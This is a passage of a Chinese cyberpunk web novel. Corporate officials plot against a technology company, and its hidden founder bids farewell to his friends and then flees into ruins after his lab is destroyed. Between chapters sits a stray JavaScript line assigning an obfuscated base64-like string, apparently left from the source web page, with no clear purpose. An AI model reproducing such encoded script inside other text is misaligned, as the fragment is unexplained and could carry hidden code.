其中一个议员附和道。紧接着,越来越多的议员表达了自己的不满。最后这场会议呈现出一边倒的趋势,所有人都反对这颗种子在这个世界上发芽长大,更反对让出一方土地供其扎根。这其中,也包括三位管理员。她们各自名下的企业与公司都受到核心行业的影响,新生力量会对其资产造成严重冲击,从而造成不可挽回的损失。 这时,碧蓝苍穹笑着说道: “各位,闲谈结束。我有一提议,请诸位侧耳倾听。” 碧蓝苍穹当众展示了一张全息地图。参会议员们看着这张地图,接连忍不住发问。一旁观视着的管理员们,似乎看出了些端倪。见众议员都被这地图给勾起了好奇心,碧蓝苍穹很温柔地向众议员解释道: “这是我企情报部部长弄来的地图,是一张藏宝图哦。如果有兴趣,可以让雇佣兵们或那些收尾人、调解人们去寻寻宝哦。” 碧蓝苍穹这话只有轇和弗听明白了,其他的议员都是一头雾水。轇很看不惯这种说话方式,于是调侃碧蓝苍穹: “你这谜语人当得不错啊。” 碧蓝苍穹笑笑,回应她: “过奖,过奖。” 轇轻拍桌子,神情变得严肃起来。轇对碧蓝苍穹说: “别在这时候卖关子,挑明说。” 碧蓝苍穹耸耸肩,笑着说道: “oK,姐姐。那我就直说吧,这里是源能核心公司的保留基地,是研制源能核心这项技术的所有成员聚集的地方。如果诸位想要彻底斩草除根,那么这地方可是个好去处啊。” 参会议员们相互对视了一眼,用眼神交流一番。最后一齐看向这种地图,各自的眼神之中都充满了敌意。毫无疑问,这个地方注定要遭殃了。看过地图,议员们异常的团结,都站在了同一立场、同一战线上。他们要一同面对的是一场毫无悬念的战争,是一场敌人注定失败的战争。 “一群猎人已经锁定了猎物,而且枪口已经对准,只待集火时刻,刹那间撕碎猎物。那猎物是弱小的,是无力的。面对手持高尖端武器的猎人,连逃跑都是那么无力。” 在全息显示屏前,世界首脑正注视着这场会议。刚刚的那番话,正是他所说下的。首脑望向身后的圣十字荣耀(武器名),全息时轮浮现在其表面。每一时刻对应每一个奇点公司,每一个分刻对应一个大企业。 三针即将归位,又是一轮循环的结束。是午夜还是正午?是黑暗还是光明?是绝望还是希望?是末日还是新生?首脑不知道,但时间总归是知道的。答案如何,改变的只是链条,而不是齿轮。 “属于碧蓝世界的时刻,即将到来。若是新生,即是吸血鬼的新生。若是覆灭,则是一轮沉睡,永眠。” 首脑伸出手,熄灭了全息时轮。首脑委婉地叹息,而后拿出一块王冠的碎片。这块碎片还有光泽,其上有着非凡的光辉。首脑深情地注视,不禁回忆起曾经的峥嵘岁月。 “首脑之名,维护者之命,我从未遗忘。这块碎片,是从我鲜血中取出来的,是从尸海里刨出来。它所象征的,是残酷的规则。” 说完这些,首脑收起碎片,去到别墅中僻静的小花园中喝茶。一杯清茶下肚,首脑也做好了接下来的打算。首脑随口一叫,雅巴达之剑如闪电般闪现于首脑面前。雅巴达之剑诚恳地对首脑说: “首脑大人,请您吩咐。” 首脑挑了挑眉,四五人的身份数据瞬间传入了雅巴达之剑的脑中。雅巴达之剑快速审阅,不到一秒就全部记住。首脑对雅巴达之剑吩咐道: “你在暗中盯着这几人。实时记录,直至整件事尘埃落定。记住,行动中要是碰到殇或伊,别动他们两个。” 雅巴达之剑点头,答应道: “遵命,首脑大人。” 说完,雅巴达之剑瞬移走了。雅巴达之剑离开后,首脑在小花园中继续喝茶,享受着灿烂的阳光与芬芳的花香,仿佛置身于世外。虽是如此,可首脑的心还关系着整个世界。 美好只是短暂的,首脑喝完茶之后就继续工作去了。 ...... 会议之后,管理员轇单独留下了碧蓝苍穹。轇给碧蓝苍穹展示了一人的肖像,其名是“星北空”。看到这肖像,碧蓝苍穹微微一笑,他似乎明白了轇的意思。轇一脸严肃地说: “这人是个祸患,你有何看法啊?” 碧蓝苍穹从容地问: “那我们是志同道合喽?” 轇会心一笑,说: “你有此意,甚是美哉。” “哈哈哈,好消息,好消息。” “你做好准备了吗?” “收尾人已经在路上了,很快就到东城了。” “不错,你很聪慧。” “女士你,不打算采取些什么行动吗?” “嗯?你竟这番无礼!但也无妨......谁叫我们是同一战线的人呢。” “抱歉,失礼了。” “碧蓝苍穹,都市之眼已经就位。只待我按下设置键,整个东城都将热闹起来。到时候,插翅难飞。” “哈哈哈,与你合作真是愉快。当然,我也不能白占你便宜。人头滚落之时,股份提成之时。” “不错,你的诚意让我很是愉悦。——准备接下来的行动吧。” “好的呀,女士。” 说完,碧蓝苍穹也离线了。这时,弗对轇说: “我们真的有必要杀了他吗?他的那份技术能帮我们很多的。” 轇露出一抹阴森的笑容,而后背起手来,像是做好了什么打算。轇抬头看着墙上标识,而后轻声说道: “弗,人要多想。” 弗说: “多想?哦......我明白你的意思了。” 轇拿起会议桌上的茶杯,轻抿一口茶,任由心中的愉悦向外抒发。轇闭眼感受,那一刻她听到了许多声音。时钟的滴答声、筋骨的断裂声、淅沥的雨声、狂风呼啸的呼呼声...... “新生的天使未等振翅便陨落于地狱,是天堂的无情,还是上帝的把戏?牺牲,换来一瞬的光明。未等照亮世界,就已经熄灭。自作聪明,无视法则与戒律,最后落得个死无葬身之地。结局几何,是成了我们的新齿轮罢。可悲啊,真是可悲啊......” 轇深情地诉说道。弗听了,理解了轇的心意。 议员们殊不知,在最后的决议时刻,轇曾将手放在了反对之上。她犹豫片刻,迟迟没有选择。见大体倾向另一边的时候,她非常果断地选择了另一边,尽管她还有一丝善心。终曲不会因为她的选择而改变,但中曲却能。注定的局,她只会选择最好的方案。 这一天注将是不平凡的一天。 “嘀铃铃......嘀铃铃......” 闹钟响了。星北空迅速坐起,然后关闭闹钟。起床,他再熟悉不过的动作了,但今天不同往日,他起床的速度比以往快了不少。没有拥抱清晨的动作,没有元气满满的赞颂,没有熟悉的自言自语,一切都与以往不同。他默默地做着每天早上该做的事,洗漱、做饭、打扫卫生、倒垃圾。这些再平常不过的事,他今天做得格外认真。 吃早饭时,他的脸上挂着一抹笑容,像是很享受今日的早饭,尽管早饭十分清淡。吃完早饭,他刷好碗筷后去阳台处看景,去欣赏今天的东城。他早上的匆匆为他争取到了宝贵的十分钟。这十分钟里,他全神贯注地去欣赏东城,欣赏这个他生活了两年的地方。欣赏时,他的脸上挂着笑容。那笑容格外灿烂,宛若一朵盛开的向阳花。 今天是个晴天,没有阴云,只有明媚阳光与碧空万里。夏日的晴天不讨人喜欢,炎热总是让人厌倦;但总有人会去喜爱它,去包容、去理解它。虽是少数,但夏天因此却不孤独。有一百种理由讨厌夏天,就有一百种理由喜欢夏天。星北空正是喜欢夏天的人中的一员。 “今天天气不错,碧空万里,阳光明媚。是适合多走走的日子。若能去山间漫步,多是一件美事啊!感受山间的清凉、欣赏自然的美景、品味生命的意义,最好再能遇到些野花,看夏花灿烂时。夏天,真是个奇妙的季节。它像一位观察者,默默记录着我们每个人的故事。一段又一段,分分合合又是一年,走走停停就是一生。” 星北空摘下衣服上的东城帮图文章,放在手心处好好地观摩。图文章上的三抹鲜艳的色彩,是生活的点缀,也是他放不下的真挚。他用指尖轻轻抚摸这图文章,不知过了多久才拿开了手。 “这是个美丽而又遗憾的世界。感谢你们两个天使闯入我的生活,为我不完美的人生画上了完美的一笔。我会铭记你们,无论天涯海角还是生死两隔。为你们的明天感到幸福吧。” 星北空为薇莉莉和茵萌萌写了一封道别信,并在心中用亲切的口吻在信中向她们诉说了最诚挚的爱意。写完信后,星北空将信件小心翼翼地收好,准备一会装进一个大手提箱里一并送给薇莉莉她们。星北空从衣柜的暗格里拿出两条精美的长裙,一大一小;又拿出些漂亮的头饰与首饰,都是珍贵的金银珠宝。 看着这些,星北空回想起之前...... 星北空: “萌萌啊,你知道姐喜欢什么吗?” 茵萌萌: “嘻嘻,北子哥。你想送点礼物讨姐开心吗?还是说......” 星北空: “别误会,萌萌。我只是单纯想了解一下。” 茵萌萌: “哦~~北子哥,那我悄悄跟你说,你可别让姐知道喽!不然啊,我就得变成阳光枯草了。” “放心吧,请讲。” “姐,其实挺羡慕那些上流社会的姑娘的。看她们打扮得漂漂亮亮的,姐也寻思着那样。女生吗,都有个爱美的心。但是吧,你也知道,我们这里的条件不允许。” “哦。这倒有些可惜了。” “还有,你知道吗?姐的房间里藏着一张照片。那照片我偷摸看过,照片上是个漂亮姑娘穿着长裙在草地上走。而且呀......那照片的背后还写着姐的小心思呢。” “哦?” “姐喜欢这照片上的姑娘,想像她一样。北子哥,你就想。走在草地上感受着春风,身披轻薄的长裙,还晒着温暖的阳光,对于我们这些年轻的姑娘来说,那得是多美的事啊!不光是姐,我也有点......咳咳,说远了。总之就是这些,千万别告诉姐是我说的!” “萌萌,你想这样吗?” “想呀!不过......只能等以后了。说不定,就得我的孩子来办到了。再说不定......” “别沮丧,萌萌。希望和未来正在敲门。” “再说不定我这代就能完成喽!骗到你了,北子哥。作为元气少女,我可有着阳光绿草之名,是不会沮丧的!绝不!” “你呀,真让人捉摸不透。” 星北空将这些都放入了大手提箱中,再放入那封信,最后慢慢盖上箱盖锁好。星北空轻轻抚摸箱盖,心里有种不舍的情感。他此刻浮想联翩,一瞬之间想到了太多种情况,最好到最坏他都想了。星北空叹了口气,说: “不知姐和萌萌......是否喜欢这份礼物。喜欢了罢,讨厌了罢,都不过将定格的往事了罢。” 做完这些之后,星北空拨打了貔貅的电话。不一会,电话通了。星北空问貔貅: “貔貅,还有多久到地方?” 貔貅答: “还有半个小时。” 星北空看了下时间,现在是早晨8点42分,他的时间还算充裕。看过时间,星北空对貔貅说: “三支阿尔法注射剂准备就绪了吗?” 貔貅答: “准备就绪了,少爷。” “行动时小心,注意安全。优先保住自己的命。” “谢少爷关心。” 星北空挂断电话。然后,星北空在家中沏了最后一杯茶。一杯热茶下肚,也到了该走的时候。星北空像往常一样走出家门,他的手里提着那个沉甸甸的大手提箱。他在走廊里徘徊了半分钟,像是在犹豫,又像是在思考。徘徊过后,他走到了茵萌萌的家门前敲了敲她家的门。 不一会,门开了。茵萌萌此时穿着围裙,拿着锅铲,像是刚起来做早饭。见星北空突然上门拜访,茵萌萌急忙将他迎进了屋。进了屋后,茵萌萌一边忙活厨房里的饭菜,一边热情地为他端茶送水。她的热情让星北空有些感伤,也许这是他最后一次来茵萌萌家做客了。 星北空把大手提箱放在了沙发旁,并启动了上面的密码锁。 过了一会,厨房传来了食物烧焦的气味。星北空一闻这味道,就知道茵萌萌又把菜做砸了。这时,茵萌萌从厨房里走了出来。她一脸不快地将一锅糊掉的菜倒进垃圾桶里,表情无奈之中带有一丝笑意,她这次失败给她逗笑了。她撅起嘴来,着急地原地跺脚,颇像一个可爱的女孩。 “诶呀呀!又做砸了啦。这是我光荣的第十七次失败了。气死我啦,气死我啦!哼,都怪加热器火力太足,今天早上又得吃泡面了......诶呀!烦死了。” 星北空淡定地看着茵萌萌,忍不住嘴角就悄悄上扬,露出一抹笑容来。茵萌萌这时抬头一看,正好跟星北空的眼神对上了。她这时才意识到家中还有客人,顿时羞娇感涌上她的心头,她感觉羞涩至极。她有些无地自容,好在对方是星北空,是她熟悉的人;换做是外人,她定会捂着脸逃跑,然后找个地方躲起来。 “诶......诶呀!出丑了呢。北......北子哥,你刚刚什么都没看到对吗?对吧,对吧!对吧对吧?” 星北空露出一抹坏笑,轻轻地摇了摇头。茵萌萌一看,立马捂起脸来,不敢直视星北空。茵萌萌小声嘀咕道: “出丑了!咋办啊......以后没办法面对北子哥了。” 但很快,那种娇羞感很快被星北空的一句话给消除掉了。星北空笑着问茵萌萌: “你早上想吃什么呢?今天我有钱了,我请你吃。” 一听吃这个字眼,茵萌萌瞬间放下手,表情瞬间变化成高兴的样子,仿佛之前的娇羞感从不存在一样。茵萌萌笑着问星北空: “真的?北子哥。” 星北空点头答道: “真的。” 茵萌萌喜笑颜开,这给她高兴得不行。茵萌萌又问星北空: “真的什么都行吗?” 星北空点头。茵萌萌托着下巴思考了片刻,许多美食浮现在她的脑中,她每样都想吃。但考虑到是星北空请她,她觉得得深重考虑。考虑半天,茵萌萌终于做好了决定。 “北子哥,家楼底下那条街开了家热狗店,听说挺好吃的。你就给我买一份热狗吧。” 星北空爽快地答应了。答应完,星北空就下楼去给茵萌萌买热狗。不一会,星北空就买完回来了。进屋后,星北空把热狗给茵萌萌递去,又将一瓶草莓果汁给她递去。接过这两样东西,茵萌萌笑了,笑得可开心了。星北空对茵萌萌说: “大份热狗加草莓果汁,一顿健康而又普通的早饭。喜欢吗?萌萌。” 茵萌萌连连点头,露出满意的笑容来回应他,并且还诚恳地向他道谢。 “喜欢,非常喜欢!北子哥,你真好。” 见茵萌萌如此,他心满意足地笑了。 “那就开吃吧,一会该凉了。” 茵萌萌吃早饭的时候,星北空提议主动留下来陪她。茵萌萌觉得奇怪,星北空一向不是这样的;但出于信任,她没多想就同意了他的提议。吃早饭的过程中,她在一口一口地吃,星北空就在一旁静静地看着。她见了,把手中的热狗拿过去,问星北空: “北子哥,你吃点吗?” 星北空摇摇头,回答道: “不,我已经吃过早饭了。” 她把热狗拿回来,继续吃。这时,星北空微笑着对她说: “萌萌,我不得不佩服你。你的话语有魔法,能够让爱开花,能够让贫瘠的土地出现绿茵。” 她咽了咽嘴里的食物,然后很神气地说: “那可不是!我可是魔法少女,是元气满满的魔法少女!诶?北子哥你怎么突然这么说?你一向不会因为这种事夸我的啊。是不是有什么心事啊?我看你今天好怪哦。” 星北空沉默片刻,而后回答道: “不,别想多。今天我很清闲,所以有功夫夸夸你。” “哦。吓我一跳,我还以为北子哥你有什么事了呢。” “对了,萌萌。你撮合成了那么多对情侣,你就没考虑过你自己吗?” “诶呀!这......” “嗯?问到不该问的了吗?抱歉,我多嘴了。” “没事没事。我只是......找不到而已......” “为什么呢?” “你知道的,北子哥。我很矮,就一米六八。而且......我要身高没身高,要身材没身材,要钱没钱,要地位没地位,就长相还凑合一点。说话方式吧......也有那么一点惹人讨厌......像我这样的人,怎会有人真心去喜欢呢?” “你挑了这么多缺点,却没说出一个优点来。你需要点自信啊,萌萌。别因为世尘而沮丧,每个人都有璀璨的点,你也是有的。” “优点?我能有什么优点呢?” “你有一颗善良的心啊。” “善良的......心?” “你是我见过最阳光的女孩。你很坚强,也很善良。你为大家甘愿无私付出自我,却不计任何回报。这是世界上最珍贵的品质,是人性的美。有着这样品质的你,是平凡之人中的天使。” “真......真的吗?我真的是这样的人吗?” “你缺少一个深呼吸,还有一口清新的自信。” “我知道了,北子哥。谢谢你。向你致敬!” 茵萌萌对星北空敬了个不太标准的军礼。星北空见后笑了,茵萌萌也跟着笑了。在茵萌萌吃完早饭后,星北空告别茵萌萌。出门后,星北空看着天花板叹了口气。然后他低下头来,小声说道: “茵萌萌,你一定要幸福啊。” 之后,星北空拎着大手提箱走到了薇莉莉家门前。正巧赶上伊出门倒垃圾,他跟伊撞了个正着。伊见到他时,笑着跟他打招呼。 “早上好,星北空。” “早上好,伊。” 他笑着回应伊。打完招呼,伊关上房门,拎着垃圾袋准备下楼。这时他拦住了伊,并问道: “伊小姐,你能跟我来一下吗?我有事要麻烦你。” 伊有些好奇,于是点头答应了他。然后,他拉着伊来到一个寂静的角落。在说事前,他不安地张望了一下四周,确保四下无人后拿出了一支注射剂。他将这支注射剂塞到伊手中,并嘱咐道: “这支注射剂是救姐命的,是最后一个疗程。请你在今夜十一点的时候为姐注射,一定要准时,不然会耽误治疗。伊小姐,我将不能再回来,请你在我离开前帮我这最后一个忙。” 伊拿着这支注射剂的手不禁有些颤抖,她的表情变得忧虑起来,眼神也变得悲伤起来。伊注视星北空,星北空温柔的眼眸中倒映着她的身影;星光在闪烁,他的眼眸中有闪烁的星辰,那是希望的光辉,是星辰一般的决心!伊露出一抹微笑,好好收好了这支注射剂。 “我答应你,星北空。” 星北空感到慰藉,露出了欣慰的笑。他的这抹笑容,在伊眼里格外帅气、格外灿烂。 “谢谢你,伊小姐。” 片刻后,星北空和伊分开。伊照常下楼扔垃圾,星北空则是去薇莉莉家做客。下楼时,伊想起了星北空,想起了自己曾看到的那些。她由衷地感到难过,不禁感叹世事无常。她知道这一别,可能就是星北空与这里的这些人的永别。呢喃片刻,她也走到了楼下。倒完垃圾,她抬头望向天空,天如海一样蔚蓝,其间几朵白云岛屿。突然一只小雀飞过天空,无声无息地穿过街上,飞向了广袤的蓝天。 伊心里: “今天是个晴天,却要不辞而别吗?也许这就是世事无常吧,终有离别时啊......” 此时,薇莉莉给星北空开了门。见到星北空时,薇莉莉先是觉得惊讶,而后觉得疑惑。她问星北空: “你怎么来了?” 她还是板着个脸,一脸的冷漠。星北空丝毫没有在意,他热情地跟薇莉莉打招呼。 “早上好,姐。” “早上好。” 薇莉莉一脸冷漠地回应。这时薇莉莉注意到了星北空提着的大手提箱,她轻皱眉毛,看出了些什么。她问星北空: “嗯?看来我就知道,你来肯定是有事的。” 星北空微笑着说道: “还是姐聪明啊,这都看出来了。” 薇莉莉嗤笑了一声,说: “你这小脑袋瓜还是不行啊!别搁这傻站着了,进屋坐会吧。” “嗯?姐,你今天有点怪哦?” “啊?有吗?切......今天我心情好罢了。” “原来如此。” “喂!快进来!你搁我门口傻站着会影响到我的名誉的。你再搁那杵着我就关门了!” “知道了,姐。” 然后星北空就进了屋。进屋后,薇莉莉走到沙发旁坐下,身子往后一仰,舒舒服服地靠在了沙发上。星北空选择了站着,他已经习惯了这样。薇莉莉见了,对他说: “坐下吧,别跟受罚了似的站着。” 星北空摆手拒绝,说: “不用了,姐。我站着就好。” 薇莉莉态度强硬地命令道: “星北空,坐下!” 星北空微笑着说: “好好好,姐。” 星北空被迫坐在了沙发上。星北空将手中的大手提箱放在了沙发旁。坐下后,薇莉莉问星北空: “你今天怎么突然上门来了?有啥事,说吧。我能给你办的,我肯定给你办。不能办的,你强求也没用。” 星北空思索片刻,回答道: “姐。我接了个特殊的委托,需要我按时交货。这箱子里是一份特殊货物,我想恳请姐你帮我暂且保管一下。我得去处理其他的一些事,暂且没办法携带这份货物。” 薇莉莉一听,神色瞬变。她质问道: “保管?你不一心一意的忙这一单,还要去料理其他的事吗?你长了两个脑子是吗?!荒唐!” 星北空此时沉默了,不知该说些什么好。 “看你那熊样!怎么样?尝到苦果子了吧!哼哼,都说了别一心二用了!算了,我大人有大量,帮你一把吧。” “谢谢啦,姐。” “不过就限这一回!以后再有这类的麻烦事可别来找我!” “明白,姐。” 然后是片刻的沉默,两人都一时不知道该说些什么。沉默之后,星北空轻声问薇莉莉: “姐,你最近还难受吗?” 薇莉莉皱紧眉毛,眼神犀利起来,像是在瞪星北空。但片刻之后,她的眉目松弛下来,似乎认识到了现实。 “你说呢?肯定是难受啊!看看我的样子,一天比一天憔悴,头发一片一片变白,我好赶上一位老太太了!我每天都掉下一把把的头发,我留了好几年的长发都要掉完了......好像是那该死的死神在吸我的魂魄一样!那感觉真是操蛋!” “那如果给你重生的机会,让姐你能避免死亡的话......那姐你最想做什么事啊?” “哼......少给我来这一套。死就是死,生就是生。我是斯特迪罗家族的战士,有的是战士的灵魂。我宁可战死在无人的郊外,也不沉浸在虚无缥缈的幻想中一刻!” “哦......好吧。” 说在此处,星北空的眼神之中有着一丝悲伤。那种悲伤不是因为被拒绝,而是因为不知道想知之事。星北空笑着对薇莉莉说: “姐,我给你的那些茶叶你可以泡一点喝,这样能让你感觉到愉悦。那样,痛苦不就少了些吗?” “你说你给我的那些垃圾吗?呵,那些垃圾......我......是不会去喝的!茶有什么好喝的?还不如啤酒有劲呢。” 星北空冲着薇莉莉露出了一抹温柔的笑,他温柔的眼眸中流露出几分不舍与祝福。他眼中有光,是星辰沉淀在他眼中,闪闪地发着温暖而又耀眼的光芒。那温柔的眼神刺痛了薇莉莉的心,尽管她面不改色。 星北空很深情地对薇莉莉说: “姐,时间不早了。我也该去处理我的事了。” 薇莉莉翘起腿来,一脸冷漠地对他说: “慢走不送。” 星北空留下那个大手提箱,迈着沉重而又缓慢的步伐走向了大门。他用颤抖的双手打开了大门,每一步的迈出对于他来说都给外艰难。他依依不舍,但又不得不离开。走出这扇大门的时候,极可能是永别。 走出大门时,他停留片刻,回首对薇莉莉说: “姐,我走了。姐,你注将像玫瑰一样绽放。” 听到星北空这么说,薇莉莉的表情有些疑惑,又有些难过。星北空缓缓关上门。哐当一声,门关上了。他慢慢拿开放在门把手上的手,依依不舍地在门前驻留了片刻。 星北空: “再见,姐。感谢你闯入我的生活,为我带来快乐。我不会遗忘你和萌萌的,你们永远是我的挚友。” 说完,他终于下定了决心,然后头也不回地离开了。下楼时,他撞见了伊。伊见他眼角有泪花,就上前去安慰。等伊走到他身前,他一把拉紧伊的手,向伊嘱咐道: “记住,伊小姐,一定要完成你答应我的事。” 伊点头答应。 “还有,别在今明两天告诉她真相,明天是她的生日。” 伊点头答应。说完这些,他松开手,头也不回地快步下楼。这时,伊叫住了他。他停下脚步,回首看向伊。伊对他挥挥手,笑着对他说: “星北空,再见啦。一路平安。” 星北空对他露出笑容,也对她挥了挥手。随即他头也不回地离开了。看着他离去时的背影,伊感到心里既难受又惋惜。伊觉得那身影格外帅气、格外伟岸,伊觉得他是她见过最帅气的男人。伊想挽留住他,可他终究是要走的人,是留不住的。 伊心里: “星北空,你是最帅气的人。很荣幸能认识你,愿我们以后还能有机会再见面吧。薇莉莉那边,我会帮你处理好的。放心吧,薇莉莉一定能好起来的!一定的!” 在星北空离开的刹那,薇莉莉看了看时间。那时是通历43年8月9日早晨9时24分,一个注定不平凡的时刻。 上午10点10分,在郊区的废城区之中,星北空和他的两个手下正讨论着未来的方向。突然,一通电话打来。胡狼接通电话,紧接着他的表情变得惊讶起来。接下来,一个可怕的事实传入了胡狼的耳中。 星北空问胡狼: “胡狼,怎么了?发生什么事了?” 胡狼的嘴唇在发颤,真相他一时说不出口。面对星北空那期待与担心的眼神,胡狼忍不住低下头来,带着愤恨大骂道: “操!黑,真他妈的黑啊!” 一旁的貔貅见此,很着急地问胡狼: “怎么了?说啊!” 胡狼带着难受的腔调说: “少爷,没了,研究所没了。” 星北空震惊了。他楞了片刻,然后大声问道: “怎么回事?!” “主管橙子打来电话,说研究所被一只隶属于企业的雇佣兵军团给非法侵入了。内部保安部的人为了抵挡入侵流干了血,全员遇难!还有......研......研究所内部的全部科技结晶全部被销毁,全部科研人员全部被俘!而......而且现在幕后势力正在寻找少爷你。他们要杀了跟源能核心有关的所有人!” 星北空悲愤交加,但又无可奈何。星北空叹了口气,感慨世事无常、命运悲凉。这时,胡狼给他带来了一个还算好的消息。胡狼告诉星北空: “少爷,主管橘子还说,源能核心的根本技术性文件没有落到敌人手中,他们拼死将文件转移走了。那份文件还在我们手中,就在少爷你随身携带的cmc(赛博储存芯片)之中。而且......我们研究所的人员大半宁死不屈,都在被俘后想办法自杀了。他们没给敌人留下任何有价值的东西!” 星北空此时心里别提有多难受了。在大业将成的前一刻就遭遇此等变故,他还一时接受不了。他几乎瞬间失去了一切!他的梦想、他所为之奋斗的目标、他所扞卫的“疆土”、他所坚持的道路......还有那珍如钻石一般的希望!这些都从他指尖溜去,永远地逝去了,难以再找回了。现实残酷无情,甚至没有给他机会去挽留。突如其来的打击,直接击碎了他坚强的内心。他差点当场崩溃,所幸现实还留给他一丝希望。 星北空拿出他的cmc,深情地注视,而后紧紧地握紧。这是他们最后的希望,这是源能核心公司最后的希望,这是那些为这个事业所奉献的人们的最后希望!手握这份希望,星北空还有望在有生之年完成这份理想。只要他还在,源能核心公司就永远不会灭亡,源能核心技术就永远不会消亡。 星北空此时愤慨交集,恨意与愤怒在他心底滋生。他说: “真是可怜他们了。他们这批人是最爱我们公司的,是本该功成名退后安享余生的。可变故带走了他们的性命,让他们在花一样的年华中凋零!” “少爷......我们接下来该怎么办?” 貔貅迷茫地问道。星北空快速冷静下来,让思维快速运转。他此刻是团队的中心,是决定团队去向的指挥官。片刻思索过后,他对貔貅吩咐道: “貔貅,你去城内打听消息,有任何消息或风吹草动立即向我汇报!顺便在路上买一背包的食物与水,预备一手,要是情况不对我们就在废墟里面避难!” 貔貅点头,答应道: “知道了!少爷。” 吩咐完貔貅,他又吩咐胡狼: “胡狼,你陪在我身边保护我的安全。还有,和我在废墟之中摸索一圈,准备好在废墟里安个临时庇护所。” 胡狼点头,答应道: “知道了!少爷。” 吩咐完这些,星北空深深地吸了一口气,他感觉肩上的压力莫大,心中的负担有一座大山那样巨大!他轻轻地呼出这口气,随即一团烈火在他心中点燃,那是他不屈的意志和坚定的决心。他抬头望向窗外的天空,看到碧空万里与耀眼的太阳。明媚的阳光照在他的身上,驱散他心中感动迷雾,照亮他的心房。他的眼中有光,那是希望的光辉。 尽管眼前是灰寂的樊笼与萧条凋零的世界,但他仍向往着广袤的天空与璀璨的星辰。即便是伤痕累累的憔悴,他也不曾低下头甘愿去忍受。他相信,希望能化作他的翅膀,带他飞上苍穹,取下那希望的火种!那时,世间将开满希望花,许多苦痛也将被驱散。虽不是造就无苦痛存在的天堂,但却可以拯救无数深处水深火热之中的人们! 那是他的理想,是他甘愿付出一切的夙愿。 一段时间后...... 星北空和胡狼在废墟深处找到了一个比较安全的地方,然后在那里建立了小型的庇护所。星北空和胡狼做了很多准备工作,让庇护所变的既隐蔽又安全。做完这些,正好赶上貔貅回来。貔貅回来后,带来了一大包的食物和水,还有一个坏消息。 貔貅: “少爷,不好了!你被通缉了!” 星北空: “什么?!” 貔貅: “现在全城的都市猎人都在找少爷你呢!而且各大组织和协会也加入到其中。我们现在很难离开这个国家了!” 星北空: “貔貅,我的悬赏金额是多少?我出双倍的钱,买下我们的安全离开。” “少爷!这可不是用钱就能解决的。通缉令的设立者......是太玄国管理员轇!” “什么?!该死的......进入死局了吗。” “少爷,你不用担心。我和胡狼会誓死守护你的安全的!这是我们向老爷所许下的誓言。” “唉......这时有你们两个陪着,真好。不知道路如何了呀,先在这里度过些时日吧......后续的打算还得思考个一阵子。还是得找机会离开这里,这里太危险了!” 时间飞速流逝,很快就到了黄昏时分。这时,星北空他们正在供热器前吃着罐头,烤着供热器的热光,享受片刻的安宁。罐头的口感不是很好,但起码能吃,星北空他们此时已经不挑剔这些了。对于他们来说,能在这样高压的环境下活着,就已经是不幸中的万幸了。在庇护所的角落,一个装甲手提箱连接着充电器,正在充着电。这个装甲手提箱里放着的,是源能核心的成品:源能核心生成药剂。这个手提箱只放了三支,本是该只展示给星北空看,然后就回收的,结果事情有变,它们就成了最后的遗留物。 吃完罐头后,庇护所外传来了异响。听到异响,星北空拿出小型侦查无人机,将其派出去侦查情况。等无人机飞到异响发出地的附近,星北空看到了一个熟悉的身影。他顿时大惊失色,马上按下了无人机的回航按钮,接着放下操作板就跑出了庇护所。 胡狼和貔貅: “少爷!你干嘛去?诶!” 胡狼和貔貅马上追了上去。追了有一会,他们终于追上了星北空。接下来他们所看到的,是一番难以诉说的景象。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十一话:废墟之中见真情 在星北空离开了半个小时后,薇莉莉扫着地。扫着扫着,扫把无意间碰到了那个大手提箱。扫把和手提箱碰撞发出了沉闷的声响,这吸引到了薇莉莉注意。薇莉莉放下扫帚,俯下身来检查了一下这个手提箱。 薇莉莉: “这造型挺普通的......这里面能放什么货物呢?难不成是军火或者违禁药品?要不打开看看?” 薇莉莉越来越好奇这手提箱里的东西。她犹豫了一会,又做了很激烈的心理斗争,最后决定打开看看。打开前,薇莉莉仔细摸了摸手提箱,她摸到了那个密码锁。薇莉莉简单试了下,结果误打误撞就解开了锁。 薇莉莉: “什么吗!密码是四个零,这密码设的也太不专心啊!一看就是星北空那小子弄的,怕忘就设的那么简单。” 薇莉莉缓缓打开这个手提箱。接下来映入她眼帘的,是一个一个相叠的衣盒和一封放在最顶上的信。薇莉莉一脸的不解,眼神中尽是疑惑。她属实没想到,这所谓的货物竟能是在普通不过的衣服。 薇莉莉: “这是什么鬼?怎么是一堆衣服呢?” 薇莉莉注意到了那封放在最上面的信。她拿起那封信,慢慢打开了信件。见到信中内容的瞬间,她震惊了。 信中这样写道: 亲爱的薇莉莉和茵萌萌,请原谅我的不辞而别。很抱歉,一直欺骗你和萌萌那么久。其实我根本不是都市猎人,我真实身份是一位企业家。为了躲避暗中窥视我们技术成果的敌人,我特此伪装来到了底层生活一阵子。能在这个国家遇到你和萌萌,是我今生最大的幸运。感谢你们两个天使闯入我的生活,让我在底层愉快地度过了两年。跟你们生活在一起的日子很快乐、很幸福,尽管我们活得平凡。这两年有你们陪在我身旁,真好啊。 我知道你们已经习惯了有我在的生活,我的突然离开肯定会让你们不习惯吧。但那也是无可奈何的,我注定是匆匆的过客,不能永远地停留啊。一首悠扬的曲子,也是会有结束的时候。我们的故事,也在今天画上了句号。今天几号?通历43年8月9日。我会为你们记住这一天,这是我们分别的日子。不要流泪,不要彷徨,就当我是飘零的花瓣,绽放后悄悄凋零了吧。你们的明天是光明的!是充满希望的。 离开了你们,有些不舍得呀。尤其是姐你,你的病情我很担忧。但请姐别因此丧失生活下去的动力,上天悄悄对你施了个魔法,你很快就会涅盘重生。像姐你这样的好人,上帝是不忍心让给死神的。还有萌萌,别因为自卑而错过机会哦,好日子正在向你招手呢!生命的光辉笼罩在你们的身上,你们都是含苞待放的花朵,注定要绽放啊。我走了之后,姐你和萌萌一定要照顾好自己,还得好好地活下去。不用担心我,我能照顾好自己的。 